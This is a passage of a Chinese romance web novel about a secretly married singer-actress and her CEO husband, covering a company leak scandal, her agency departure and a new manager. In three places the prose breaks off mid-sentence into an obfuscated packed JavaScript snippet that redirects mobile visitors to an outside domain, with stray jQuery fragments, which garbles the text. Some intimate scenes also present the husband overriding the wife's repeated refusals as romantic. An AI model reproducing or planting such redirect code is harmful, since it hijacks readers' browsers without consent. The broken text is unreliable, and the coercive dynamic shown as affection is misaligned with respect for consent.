慈恒压下已经暗暗翘起来的嘴角,侧头看她,发现已经染回黑色的头发,不由得多看了两眼。
而后他打开扶手箱,拿出一个墨绿色的丝绒盒子,“送你的。”
“什么呀?”
温珍旎接过盒子,满怀期待地打开。
“哇!”
一抹极其醒目的鲜绿色闯入眼帘。
主石是一颗切割成水滴形的30克拉祖母绿,周围镶嵌了一圈梨形钻石和铂金。
色彩迷人,净度无可挑剔。
如果没记错,是那颗产自Muzo矿区的祖母绿胸针。
胸针很好看,而且收藏价值极高。
温珍旎很喜欢,捧住男人的脸亲了一口,“很漂亮的礼物,谢谢老公,周年庆正好搭配礼服。”
泰华集团今年正值八十周年大庆,她肯定是要参加的。
不过因为隐婚,她明面上是受邀明星嘉宾。
官方邀请的明星名单还没到公布的时间,但她的邀请函在月初就送到了,那天的行程已经提前空了出来。
“电影要拍多久?”慈恒问。
“要一周吧。”
温珍旎欣赏完胸针,合上盒子,“你帮我带回紫金湾别墅,放在珍宝房里,我回家了再试。”
“嗯。”
男人低声应了,又忽然叫她的全名,“温珍旎。”
“怎么了?”
温珍旎放好了盒子,下意识转头,男人的脸已经近在咫尺。
他倾斜着上身,突然离她好近。
浓丽锋锐的五官太有冲击力,离她这么近,太犯规。
温珍旎心脏一阵砰砰乱跳,下意识地瑟缩着身体往后仰,却被他捏着肩膀拖了回去。
迎面而来的明明是冷冽的气息,却总感觉有一股火在骨头里燃烧,烧得她都忘了动弹,愣在原地,任由呼吸落在脸上。
气氛似乎有点危险。
她意识到接下来要做什么,受不了地抬起手掌,推了推堵在身前的胸膛,“现在不行……我还要拍戏。”
隔着西装,她的手指像在点火,燎得人喉咙发干。
“一分钟。”
不管她答不答应,男人已经捏住下巴吻了上来。
没有做足准备的温珍旎呜咽了两声,声音被完全吞没。
“别、别在这里啊,让人看见不好。”
“不会。”
寸土寸金的香山路公寓,能住在这里的都是社会各界的名流,业主都享有最好的隐私服务。
当初也是考虑到了她的职业特殊性,才选择购置的这套房产。
慈恒握住手腕,霸道地把人圈进怀里。
温珍旎被箍在坚硬的胸膛间,就像砧板上美味的鲜肉,软绵绵地趴在他手臂上。
他就是这种由着自己胡来的性格,谁也管不了。
“那你快点啊。”
温珍旎抗拒不了,任由男人牵了她的手绕过肩膀,圈住他的脖颈。
这一吻的时间远远超出一分钟了,良久后被放开,嘴唇那里已经麻木。
兜里手机震个不停,橙子的夺命call提醒她必须走了。
温珍旎从他怀里挣脱出来,整理好衣裳。
下车前,她揉了揉慈恒略带倦意的脸,“你还是去酒店休息一下吧,别自己开车了,让司机接你。晚上早点回来。”
“嗯。”慈恒生硬地应道。
“那我走了啊。”
温珍旎隔着车窗挥手,抱着手机开始百里冲刺。
看着她慌不择路地从电梯离开,慈恒无奈一笑,拿过手机,给林诺
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861606|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打电话。
香山路位于繁华地带,附近就有一家泰华旗下的五星级酒店。
他在酒店休息了半天,下午起床处理工作。
陆方洋打电话告知,北城工厂一事在网上开始发酵,热度不小,需要他到总部一趟。
他两点赶到泰华总部,陆方洋简单向他说明了一下情况。
“公司信誉受损,股东们现在情绪暴动。董事会监事会同时提出召开临时股东大会,要求商讨应对措施。”
“现在股东们都到齐了,在会议室等着主持会议。”
股东情绪激动在情理之中,可以理解,眼下要做的是先安抚他们。
“知道了,我会参加会议。”
慈恒解开大衣,进会议室前交代陆方洋,“按原计划发布声明,让公关部及时监测舆情,灵活应变,赶在热搜前把影响降到最低。”
陆方洋:“明白,我这就通知下去。”
慈恒把大衣丢给秘书,推门走进会议室。
就此次事件,他出面向公司董事作出了解释,并公布最终的处罚结果,同时表示决心,他接任后会优化内部管理制度。
一个小时后,集团的官方账号在平台发布了声明,就此次事件予以认错道歉,并将承担一切处罚。为避免类似事件再次发生,公司保证加强对员工的保密教育和培训。
同时宣布,公司八十周年庆典上,慈恒将正式接任泰华集团总部CEO一职。
这条声明发布后,和另一条热搜“泰华员工被捕”占据总榜前排,引发了网络热议。
牵涉到公司的信誉问题,影响不小,加上热搜里某些大V的言论避重就轻,故意模糊重点,容易先入为主产生不好的印象,网络舆论一时半会没那么轻易摆平。
而且竞争公司很可能会趁机搞事情。
果然,还不到晚上十点,一则关于慈恒离婚的传闻空降热搜。
彼时温珍旎还在拍戏,挨导演的骂。
晚上和女主有两场对手戏,情绪老是拿捏不对,一直在NG。
“你到底会不会演戏,不会演就别做演员,回去唱你的歌。”
导演是出了名的暴脾气,完全不管她咖位多大,舞台成绩有多耀眼,演不好戏,照样劈头盖脸一顿炮轰。
今天一直在赶拍摄进度,戏拍不完,就收不了工,耽误的是整个剧组的时间。他们嘴上虽然没说什么,但表情也看得出有怨念。
温珍旎挺内疚的,让橙子订了麦当劳和奶茶,请了剧组所有的演职人员。
拍戏相处的这些天,她没有跟人红过脸,敬业和谦恭都是有目共睹的,总的来说,积攒的人缘不错,别人也不会给她难堪。
看她态度一直这么好,导演的气消了一些,语气也软和下来。
“你不能总是演你自己,你得去理解这个角色的动机,揣摩她的内心,吃透人设,明白?”
温珍旎点头,认错的态度诚恳,“谢谢钟导,我会好好研读剧本的。”
钟导沉了一口气,看了眼时间,今晚这个班加的委实有点长了。
“收工吧,你自己再找一下感觉。”
“好的,没问题。钟导辛苦了,大家辛苦了。”
温珍旎一脸乖巧,跟工作人员们打完招呼,一刻不留地逃离了这个凶神。
“好吓人。”橙子全程紧绷绷的,大气都没敢出。
她把羽绒服给温珍旎披上,小声抱怨,“钟导今天好凶啊。”
谁说不是。
温珍旎也吓得直拍胸口,“我的心都快跳出来。”
不过钟导没骂错人,她这两年的戏一直没什么突破,表演上有很大的欠缺。
“小橙子,我的理解能力有那么差吗?”
今天这戏拍的,温珍旎都怀疑人生了。
“姐,别妄自菲薄,你可是985高材生。”
换成别人,有这背书,早买百八十个热搜营销造势了。
橙子怕她胡思乱想,把保温杯拧开了递过去,“喝点热水暖暖,别想了,说不准明天一觉醒来就灵感迸发,进步神速了。”
“好吧。”
温珍旎揉揉肩,她现在累得快要死掉,只想面前放一张大床,躺下大睡特睡。
其他的事,明天再说吧。
“对了,姐,房间我已经叫保洁收拾好了。”
“嗯,好。”
说起这个,温珍旎才想起一天没看手机了。
也不知道奚淼和明霞早上什么时候走的。
她问橙子要来手机,给奚淼发微信。
奚淼那边回了一个问号。
接着是一句语音:“温大小姐,热搜你是一点没看呀?”
“?”
温珍旎一头雾水地走进换衣间。
点开热搜,就听到两个换完戏服出来的主要演员在八卦。
“看到热搜了没有,就泰华集团那个?我记得你代言了他们旗下某系列珠宝,不会受影响吧?”
“官方都发布声明解释了,事态没那么严重。再说,泰华的公关可是业界出了名的金牌团队,不会有事的。”
泰华集团的热搜……
这是吃瓜吃到自己家了啊。
温珍旎迅速刷新了页面,都不用搜索,跳出来的第一条就是泰华集团的新闻。
泰华集团核心员工刘某被指控出卖技术,在天海机场被捕。刘某为满足个人利益,罔顾保密工作规定及签署的保密协议要求,向境外公司提供大量核心技术……
公司发生了这么大的事,慈恒居然没跟她说。
还有造谣他离婚的。
都什么跟什么呀。
温珍旎拨号给慈恒打电话,但是一看时间,都凌晨了,估计都睡了。
她取消通话,没让工作室的人送,换掉戏服后,自己开车回香山路。
9. 009
温珍旎开了一路飞车,出了电梯,玄关感应灯亮起,她的视线下意识地投向鞋柜深处。
捕捉到一双男士手工皮鞋,正端端正正摆在属于它的位置时,一股松弛感从紧绷的肩颈无声滑落,那颗悬了一路的心总算放下一半。
主卧里留了夜灯,洗过澡,温珍旎关掉灯,轻手轻脚地靠向床上的人。
男人已经睡得很沉,一只手枕在脑后,穿的是真丝睡衣,因为保持健身,本就宽的肩膀绷得块垒分明。
一只手搂不住,她半个身体压过去才勉强抱住。
大概是动作幅度太大,把人吵醒了,慈恒侧过头来,没睁眼,顺势把她揉进怀里。
“吵醒你了?”
“嗯。”男人哼了一声,鼻音略重,“有话说?”
温珍旎捧住他的脸轻轻摩挲着,语气难得的正经,“我看到热搜了,形势不妙,股价可能会跌。”
“员工泄密,加上离婚的传言,市场情绪急速恶化,造成二级市场恐慌性抛售,股价下跌不可避免。”
“你很担心?”慈恒揉着她的肩,安抚道,“只是暂时性的,无伤大雅。”
温珍旎帮不到他什么,犹豫了一下,小声问:“要不我们公开婚姻状况?”
“犯不着。”
男人很困,只想睡觉,“睡觉。”
三年时间就把海外公司一步步壮大,他的能力早就远超她的认知了。
她能做的,就是相信他可以解决任何问题。
既然他说不用,温珍旎也就不再追问,往男人怀里拱了拱,安心地闭上眼睛。
可能是霸着男人的身体睡了一夜,投怀送抱的睡姿反倒方便了枕边人,一早就被吻醒。
昨晚又困又乏,一直做乱梦,熹微的晨光照进房间时,温珍旎睁开眼,表情还有点茫然,待视线聚焦之后,才看清眼前男人的脸。
清晨的卧室,静得能清晰地听见呼吸声,她整个人浸润在温柔的晨光里。
温珍旎的脸颊和耳朵顿时充血,不自觉地抿紧了唇。
“……”
看来昨晚的担心是多余的,他都有心情做这种事了,想来事情算不上多严峻。
“慈恒,我要去片场了。”
她双腿乱蹬,让他赶紧起来。
慈恒牢牢按住腿,一副公事公办的神情,“补交上周的作业。你继续睡你的,不耽误。”
他都这样了,她还能继续睡,那她的心是真的大。
“不行,会迟到的。”
钟导那暴脾气,逮谁都骂,她可承受不住。
温珍旎推搡他的胸膛,男人却重得像座山,一动也不动,甚至还能腾出一只手,将她的手腕扣住。
微凉的唇随即印上她的颈侧,带着不容抗拒的力道,一下又一下,烙下滚烫的印记。
他不是会委屈自己的人,他要做什么,没有商量的余地。
这种霸道的性子,结婚之后更胜,平日里尚能收敛几分,可一到独处的时候,那份任性便毫无保留地释放。不见面还好,见了面仿佛有用不完的精力,变着层出不穷的花样。
“慈恒,脖子以下不行……脖子更不行。”
她气息不稳地提醒,“拍戏要上妆,遮不住。”
让人看见了会怎么想。
“那你想在哪里,你说?”
慈恒低沉的嗓音含着故意的磨人,齿间的力道虽重,却还是听话地把吻痕留在看不见的地方。
温珍旎:“……”
摘了眼镜的男人像是解除了矜持自重的封印,目光深邃,神情慵懒,近在咫尺的五官太具冲击力了。
此刻温珍旎才发现,自己的意志远不如想象中坚定,惑人的皮相近在咫尺,很轻易地便瓦解了她的防线。
拒绝的声音消散在唇边,指尖无意识地没入他的发间,不经意间收紧了力道。
发根被牵扯的微痛让他“嘶”地抽了口气,沙哑的嗓音带了一丝无奈,“祖宗,手轻点,别薅光你老公头发。”
温珍旎推他的肩膀,“那你起来。”
慈恒却置若罔闻,专注他的,期间还有心思问她,“你说你不喜欢?”
“……”她可以说不吗?
当掌心掠过膝弯,温珍旎猛地并拢双腿,阻止下一步动作,眼神无辜地瞪着他,“你以前不是这样的。”
“以前是哪样的?”
慈恒钳住她下巴,斯文皮囊下带着懒散的笑,“又不是第一天知道我是什么人。”
面对尚未餍足的危险气息,她知道不宜招惹。
但她是真的要上班了。
当闹钟执拗地响起第三遍,她几乎要哭出来,“他们真的快到了。”
“所以更要争分夺秒。你越挣扎,越耽误时间。”男人嗓音沙哑低沉,说话间,手臂已稳稳抄过她膝弯,将她整个人凌空托起。
温珍旎挣扎着双腿,这人根本就是一堵铜墙铁壁,任她如何推搡,都撼动不了一丝一毫,反而被他更牢地禁锢在怀里。
“慈恒,我以前怎么没发现你这么可恶。”
“履行我应尽的义务也有错了?”
手掌不轻不重地在她侧臀轻拍了一下,振振有词道:“而且是奶奶的意思,她三令五申,要我多陪你,弥补三年的缺席。你知道的,我向来听她老人家的话。”
那是老人家的意思吗?
“哼,你就会拿奶奶当挡箭牌。”
她那点力道,无异于隔靴搔痒。越是挣扎,反倒越激发了他骨子里的掌控欲。
灼热的吻雨点似的,自颈侧一路蔓延,箍在腰侧的手臂一寸寸收紧,温珍旎只能在近乎窒息的桎梏中,由着失控席卷每一寸感官。
“姐,你还在睡吗?”
客厅骤然传来的问询声,惊得她脊背一下绷紧了。
“嘶。”慈恒喉间逸出一声抽气,似真似假地抱怨,“就不能轻些,真当我是钢铁做的?”
温珍旎眼神忿忿地控诉始作俑者。
房间外的脚步声还在靠近,她抓紧慈恒的胳膊,捶了几下,声音压得极低,“别说话。”
不痛不痒的几下,男人身形岿然不动,反而低笑着,胸膛微微震动,带着点恶作剧得逞的恣意,“慌什么?名正言顺的夫妻,又不是在做什么见不得人的事。”
他还好整以暇地调整了下姿势,将她更稳地圈在怀里,一副从容不迫等着别人来开门的架势。
“珍旎姐,你在房间吗?”
橙子没听到回应,满脸狐疑地扭动门把手。
主卧锁了,进不去。
奇怪,一般早上只有她会上楼,珍旎姐是不会反锁卧室的。
她只好抬手敲门,“姐,在里面吗?”
“我、我在。”
出口的声音有些喑哑,惊得她心头一跳,差点咬到舌尖,“我在洗澡,马上。”
“洗澡?”慈恒温热的气息拂过她唇角,好笑地看着她慌乱的表情,“我帮你。”
“不要,我自己可以。”温珍旎唯恐他再搞出别的花样,闹着要下去。
慈恒半是哄半是威胁,“自己抱稳,要么我现在抱着你出去”
被彻底拿捏的温珍旎瞬间蔫了,郁闷地闭上嘴,搂紧他脖子,闷声催促:“那你快点。”
慈恒不再逗弄,抱着她进了浴室,旋开花洒,帮她冲洗掉一身汗意。
待到身上水汽被浴巾吸干,慈恒用宽大的浴巾将她裹好,抄起腿弯抱起进了衣帽间。
“贴身衣物?”他垂眸询问。
温珍旎勾着脚尖,指着中间抽屉的位置。
慈恒腾出一只手,随手拿了一套内衣裤。
帮她穿戴上,利落地扣好搭扣,全程竟规规矩矩,没有半分逾矩。
温珍旎都感到诧异。
察觉她走神,慈恒停下动作,捏着脸颊缓缓靠近,“怎么,不打算上班了?”
温珍旎闹了一个红脸,抱过羽绒服,逃似的跑出去。
橙子总觉得温珍旎今天怪怪的。
早上反锁着卧室不说,她换鞋的时候,还在鞋柜看到了一双男士皮鞋。
而且她尤其关注热搜,一到休息时间,就捧着手机看新闻。
橙子忍不住问:“珍旎姐,你有心事啊?”
有那么明显吗?
温珍旎眼神飘忽,“哪有,随便看看。”
关注了一天泰华的股价,下跌5%,影响不大,甚至可以忽略不计。
她关掉微博,随口问起,“小橙子,今天有瓜吃吗?”
橙子想了想,“万蕾姐的风头差不多过去了,最近开始接触新商务,但是被余蓝飞给截胡了。”
“那个余蓝飞也不知道什么背景,营销满天飞,资源无敌好,截了不少一线艺人的代言。”
这也不算新鲜事。
温珍旎兴致缺缺地打着哈欠,“就这?”
“这都不算厉害吗?”
橙子表情夸张,“黛丽那样的富家千金,都没这个资源待遇呢。”
娱乐圈兜兜转转就这些事,说实话,没什么大惊小怪的。
温珍旎无聊,点开慈恒的聊天对话框,问他在哪,今晚吃什么。
慈恒:【锦煌夜宴,冯振的酒局,你要不要来?】
冯振的局啊,那过去吃个饭也行。
“橙子,把通告单给我。”
温珍旎问橙子要来通告单。
剩下的戏份不多了,可以提早收工。
“待会儿收工,你就下班吧,我自己回去。”
一般她说自己回家的时候,多半是要去嗨皮的意思。
橙子管不了她,表情苦哈哈的,“那你稍微控制一下饮食。”
“知道了。
温珍旎捏了捏她肉乎乎的脸蛋,继续拍戏去了。
收工后,直接去锦煌夜宴。
还是冯振和朋友聚会开派对常用的那间包房。
一千平的面积
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861607|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,位置隐蔽,私密性很好。
今晚来的都是冯振的朋友,温珍旎都认识。
她一露面,众人就起哄。
“嚯,咱们的大明星到了。”
“珍旎姐,好久不见,别来无恙啊。”
乌泱泱一群人,有人看向坐在上位的慈恒,有人有眼色地让出了慈恒身边的位置。
温珍旎跟大家打过招呼,坐到了慈恒身边。
冯振吩咐侍者上菜,第一时间把甜点菜单递到她手里,“嫂子,别管他们,点你喜欢的。”
这里的甜点很贵,但也的确好吃,完全可以盲选。
温珍旎点了树莓小蛋糕和金箔马卡龙。
“多了吃不了,就这两种吧。”
冯振:“能吃多少吃多少。”
这边菜上齐了,慈恒往她的餐盘夹菜,“熬夜伤气血,甜点尝尝鲜就好,多喝炖汤补充营养。”
温珍旎:“那不行,爸爸教育我不许浪费食物。”
“噗——”
冯振乐得咧嘴,“这还不简单,吃不完让我恒哥打包回去。”
“冯哥,你认真的?打包这个词也太小众了吧。”
在场的这群人,哪个不是挥金如土的豪门子弟,人均四位数往上的菜,一口不动也不会心疼,谁会当真打包。
所以大家都当成玩笑话听听罢了。
慈恒没理会他,把盛了汤的汤碗放到温珍旎面前,“喝汤。”
这一套动作行云流水,无比顺手。
冯振不由地看了好几眼,扭头和温珍旎说:“这道清炖甲鱼汤是我们研发的新菜品,快尝尝,是不是特别鲜。”
温珍旎很给面子地尝了两口,确实不错。
汤汁鲜美浓郁,十分爽口。
锦煌夜宴以中餐为主,厨师团队都是高薪聘请的各地名厨,八大菜系各有擅长,保证每一道菜品保留最正宗的味道。
温珍旎每次过来,都会点他家的招牌菜茶烤乳鸽和柠檬香煎肋排。
这两道菜如果自己动手,吃相不雅观,所以一般会让侍者帮忙剔好。
冯振说:“我让他们剔好了再端上来。”
“别了,不是自己剔的骨头,是没有灵魂的。”
温珍旎戴好一次性手套,开始剔肋排。
煎得外酥里嫩的肋排表面泛着一层油光,咬一口下去,鲜嫩浓郁的汁水就在口腔里肆意蔓延。
温珍旎啃着排骨,一边听其他人讲话,偶尔插两句言。
美食是好,可惜眼大肚皮小,一桌美食是真吃不下了,夹在盘子里的菜最后全进了慈恒的胃。
点心一点没动,都是干净的,她让打包带走,带回家吃。
冯振咋舌:“真打包啊。”
慈恒瞥他一眼,慢条斯理地擦着手,“吃剩下的都是我的。”
冯振眼里顿时充满了无限同情,“……我现在是真信了,你们不可能是塑料夫妻。”
谁家的塑料老公,愿意当老婆的厨余垃圾桶。
冯振插科打诨,陪着夫妻二人从包房里出来,工作人员正好牵了一只萨摩耶过来。
看到狗狗的那一刻,温珍旎张开手扑过去,“我可爱的棉花糖!”
棉花糖是冯振的爱宠,雪白的大狗狗,跑起来跟蒲公英似的,一蹦一跳扑在温珍旎怀里。
她搂住棉花糖,把头埋进去毛绒绒里一阵狂吸。
“老公,我们也养只狗狗吧,猫猫也行。”
回到家里,温珍旎突然心血来潮,提议养一只狗狗。
鉴于她的三分钟热度,慈恒拒绝得毫不留情,“家里只能养一个,你自己选。”
温珍旎不死心,“可是我好喜欢猫猫狗狗,养一只都不行吗?”
“养得明白吗?”
慈恒单手解开衣扣,脱了大衣,反问她:“不是不让你养,你有时间照顾它吗?”
“每天要负责喂粮遛狗,生病了要去医院,狗毛狗屎要清理,你能做到?”
温珍旎小声辩驳,“家里不是还有阿姨。”
慈恒揉额,“所以是你养狗,还是阿姨养狗?”
温珍旎:“……哼。”
好扫兴的男人。
春天是狗狗的换毛期,她抱了一下棉花糖,身上就沾了不少狗毛。
慈恒叹了口气,指着她,“把衣服换了。”
温珍旎“哦”了一声,去洗澡。
换了睡衣,回到主卧,就把这事给忘了。
之后慈恒也没提起,接着又是从早到晚的拍戏,回到家倒头就睡。
时间如白驹过隙,不知不觉来到四月中旬,她的戏顺利杀青。
万蕾的风波已经结束了,开始露面出席品牌高珠活动。
同时sweety的成员相继跟JY娱乐续了全约,官方和工作室都发布了公告。
也就是说,除了温珍旎,其他成员都确定和公司继续合作了。于是她的去向问题被带上了热搜。
10. 010
到了四月下旬,温珍旎跟经济公司联系,就解约事宜正式进行协商,最终确定唱片约留在JY娱乐,解除经济约。
走完了流程,JY娱乐发布了公告,温珍旎也单独发了一条解约微博,算是给这段旅程画上了句号。
sweety女团的视觉形象沿用了多元化的传统模式,保留自己独有的风格,是区别于海外女团的一大特点,但是也避免不了在巅峰时刻向演员过渡的结果。
而JY娱乐是国内最好的影视娱乐公司,离开这样各方面都拔尖的大公司,她以后的影视资源估计不容乐观。
相信她的粉丝默默支持她的决定,也有买股红人粉唱衰,宣布脱粉。
看着小太阳一样的温珍旎,不慌不忙,其实比谁都有主意。
她知道自己的路怎么走,所以内核一直很稳。
电影杀青后,跟着又解约,暂时没有戏拍了,工作量大幅度减少,她每天睡到十点,再慢吞吞起床。
然后吃个饭,刷刷剧,晚上有时间就做有氧运动,一天就算过去了。
“想好签哪家公司了?”
夫妻俩都回了紫金湾别墅。
恰逢周末,慈恒跟朋友打了一下午高尔夫,刚从球场回来。
问她公司有没有选好时,温珍旎在压腿杆上做拉伸运动,回头看着他道:“不知道,还在看。”
慈恒:“有现成的资源不用,你是不是傻?”
“嗯?”
温珍旎没明白,眨巴着眼睛,“你想当我金主,给我做靠山?”
慈恒摘了眼镜,往沙发背上一靠,慵懒又随意地搭着腿。
“想进哪家公司,我可以让人去谈。”
递到嘴边的饭,不吃白不吃。他去谈,肯定能争取到最大利益。
温珍旎立刻结束了拉伸,坐到他身边去,“我中意的公司,啊。”
她掰着手指默默数了几家,综合自己的能力看,最合适的就那一家。
“乐风影视吧。”
一个偏上的公司,肯定比不上JY娱乐的财大气粗。
“看不上万力?”慈恒不懂,她为什么不选大公司。
自己有多少斤两,温珍旎还是有数的,“万力是厉害的大公司没错,我也想进,但没有绝对实力的作品,人家不会买账。”
她说:“以前我爸很支持我事业的,但知道三天两头上黑热搜后,他老人家就动摇了。没逼我退圈就不错了,开后门根本没有可能。”
“哦,那就万力了。”慈恒直接替她决定。
老公撑腰的幸福来的太突然了,温珍旎表示震惊:“这就是霸总的钞能力啊!”
有钱有势,无所不能,果然是男人最好的滤镜。
难怪那么多人喜欢霸道总裁。
温珍旎弯起一双漂亮的眼睛,捧住他的脸狠狠亲了几口,“感谢金主爸爸的大力赞助。”
看赖在怀里女人掩饰不住的激动,慈恒捏起下巴,“万力有这么好?”
“你不知道万力的厉害吗?”温珍旎不相信。
慈恒语调漫不经心,“多厉害?”
娱乐产业他没有涉足,了解甚少,国内影视娱乐有哪些公司基本没印象,知道万力,是因为它在蒋卓凡的万力生物旗下。
选择万力是有私心在的,熟人好办事,投入资金也方便。
倒是没想到她这么满意。
“很厉害的。”
温珍旎说起万力的好处来,眼睛发亮。
“他家对艺人很好,知道维护艺人,而且很会做剧。内戏舍得砸钱,外戏舍得投资,它出品的剧就算是平播,单拎一个方面也够别人眼馋了。”
慈恒嗤笑:“砸钱包装你自己不行啊?”
“那不一样,营销自己也重要,但是光包装自己有什么用,没有拿得出手的作品,迟早被后来者拍在沙滩上。”
茶几上有佣人送上来的温水,她讨好地递上水杯,给他揉肩,“所以万分感谢金主的赞助,让我触摸到天花板。”
“你的感谢未免太敷衍了。”
慈恒撩起眼皮瞥她,拍拍大腿。
吃人嘴软,拿人手短,温珍旎很有待宰羔羊的觉悟,勾住他脖子大方地坐上去,“总可以了吧,金主爸爸。”
“你觉得呢。”慈恒将手搭在她腰侧。
温珍旎没有任何准备,只觉腰间一紧,整个人就被他手臂一带,带到了他的腿上,身体失去平衡,重心不由自主地压向了他。
男人的掌心贴在她后颈,带着灼人的热度,温珍旎埋首在他颈窝,柔软的羊绒毛衣却有一股冷冽的气息,直往鼻子里钻。
感觉到他鼻尖蹭过颈侧,温珍旎指尖微动,下意识抵住他嘴唇,“别在这儿……”
被打断的慈恒动作一顿,气息拂过她唇角,略有一丝不满,“没人会上来。”
私宅的佣人都是职业化的,什么该看,什么该做,每个人都有分寸。早在两人相处时,就已经不动声色地回避了。
不过看她强烈要求,慈恒到底还是抱她回了卧室。
不知道是不是她在家休息的缘故,慈恒归家的时间一日早过一日,晚间也总愿多陪伴在她身侧。
作息时间被打乱的结果便是,温珍旎每天有睡不完的觉,然后又理所当然地睡到日上三竿才起。
再这么下去,迟早把她给养废了。
温珍旎揉着惺忪睡眼,醒来的第一件事,就是习惯性地伸手探向身侧的位置。
褥子里冰凉,不知道人是什么时候离开的。
外面太阳已经晒屁股,温珍旎洗漱完,打着哈欠软绵绵地飘下楼。
林诺在大堂安排佣人的工作,见她下楼,笑吟吟地打招呼,“早上好,太太。”
“早上好。”
温珍旎有气无力地走向餐桌。
刘婶把温在灶上的早餐送过来,“太太,吃早餐。”
土豆饼、三鲜豆皮、鸡丝粥、青柠起泡茶。
刘婶准备的早餐每天都不带重样,但都很合她胃口。
吃完摸着肚子,才隐隐感到懊悔,应该少吃一点的。
演员这一行,身材管理是第一位的,对女明星尤其严格。一年之中各种活动都得穿礼服,塞不进去就是毁灭性灾难。
说到礼服,泰华周年庆没剩几天了。
温珍旎这才想起,拿过手机查看日历,屏幕恰好亮起,弹出一条新的微信消息。
是婆婆庄明华发了语音。
点开语音条,一道温和的声音传来:“旎宝,下周就是周年庆典了,妈给你定了两套礼服,你看最喜欢哪套?”
庄明华发了几套模特上身图,一套是金色抹胸鱼尾裙,一套是V领水钻绸缎裙。
都是国际高奢私人定制,通常要提前一年时间预定。
这两套礼服都极致奢华,恨不得把世间最好的宝石全部镶嵌上去。
温珍旎心头一暖,语音回复道:“我都喜欢,谢谢妈。”
温珍旎和慈家来往的这些年,庄明华给她开过家长会,接过她放过学,带她融入慈家的家庭宴会,有什么好吃的,好用的,也总惦记着她。这个婆婆是真的把她当女儿一样疼,就像她第二个妈妈。
只是集团业务繁忙,婆婆和公公在各地分公司指导工作,目前还没回天海市。
温珍旎挺想她的,跟庄明华开了视频,聊了一会儿天。
等她挂断视频,林诺拿着平板过来,“太太,明天上午十点,新的经纪人会过来和您对接工作事宜。”
“嗯?”
什么时候的事?
温珍旎有些意外,没反应过来。
林诺解释:“还没来及告诉太太,先生为您组建了一支工作团队,聘请的这位经纪人履历漂亮,经验丰富,非常适合太太。”
“?他都没跟我提过这事。”
温珍旎惊讶地接过平板,看到履历表上的照片,心头震了一下,“秦清!”
圈内大名鼎鼎的王牌经纪人,带出众多影帝视后的秦清。
在林诺嘴里只是一句履历漂亮,经验丰富。
温珍旎吞了一下口水,“林秘书,你说我要不要提前做个造型什么的?”
这位经纪人成名后,只带过有演技和实绩的实力派,突然转头来带舞台出身的流量艺人,会不会跨度有点大了……
林诺说不要紧,“太太平常心对待就好。”
话是这么说的,但该有的态度不能少,总不能没作品还爱摆谱吧。
温珍旎想了想,还是决定拿出她的最佳状态,“林秘书,帮我预约下午的spa护理吧。”
林诺:“好的,太太。”
**
温珍旎预约了全套美容护理,当晚也婉拒了慈恒的陪伴,早早安歇养精蓄锐。
次日醒来,果然神清气爽。
接待客人的事有林秘书和佣人操劳,她只需专注梳妆打扮,确保自己以最佳状态亮相。
推开主卧旁的隐形门,走到里面,是足有百平的步入式衣帽间。
像走进琳琅满目的商超,中间是古典皮靠背沙发,三面墙是嵌入式衣橱,里面挂满了定制服饰和鞋袜。
剩下一面墙是抽屉箱柜,遥控打开,全是成套的钻石珠宝和黄金首饰,还有名表、香水、领带和腰带。
衣帽间旁是单独的化妆室,法式风格的梳妆台上,化妆工具齐全,她如果出席活动请造型师,在这里也很方便。
温珍旎化好妆,和女佣一起挑选会客穿的衣服,橙子的微信就叮叮咚咚跳出来。
橙子:【姐,你能告诉我,现在是什么情况吗?】
橙子:【秦清,是大名鼎鼎的秦清啊。】
橙子是昨晚才知道秦清是新聘的经纪人。
知道这个消息后,她整晚没睡好,一肚子的疑问在和秦清碰面后
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15861608|176056||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
彻底憋不住了。
橙子:【秦姐跟我说,以后要一起共事了,我的天,我不是在做梦吧?】
橙子快要哭了。
这几天的好消息接踵而至,先是温珍旎签进万力娱乐,再是请秦清做经纪人,她浑浑噩噩的,像活在梦里。
虽然温珍旎没有看到橙子的表情,但也能想象她此刻的震惊和激动。
她发了一个爱心表情:【没看错,是真的。】
对面夸张的表情包顿时像豌豆射手一样,嗖嗖地发进来。
温珍旎往下划动,有一张照片,拍的是一个挽着头发的中年女人。
个子不高,身形瘦削,穿着黑色大衣,套了一双银色漆皮尖头小高跟。
拍摄角度一般,有几张还糊了,看得出来偷偷抓拍时很紧张。
橙子:【秦姐就在我旁边,我们现在正往你那赶。】
橙子:【不过你搬家了吗?怎么不在香山路?】
温珍旎回她一个微笑的表情:【来了就知道了。】
橙子坐在秦清的旁边,全程大气都不敢出,都是偷偷给温珍旎发的消息。
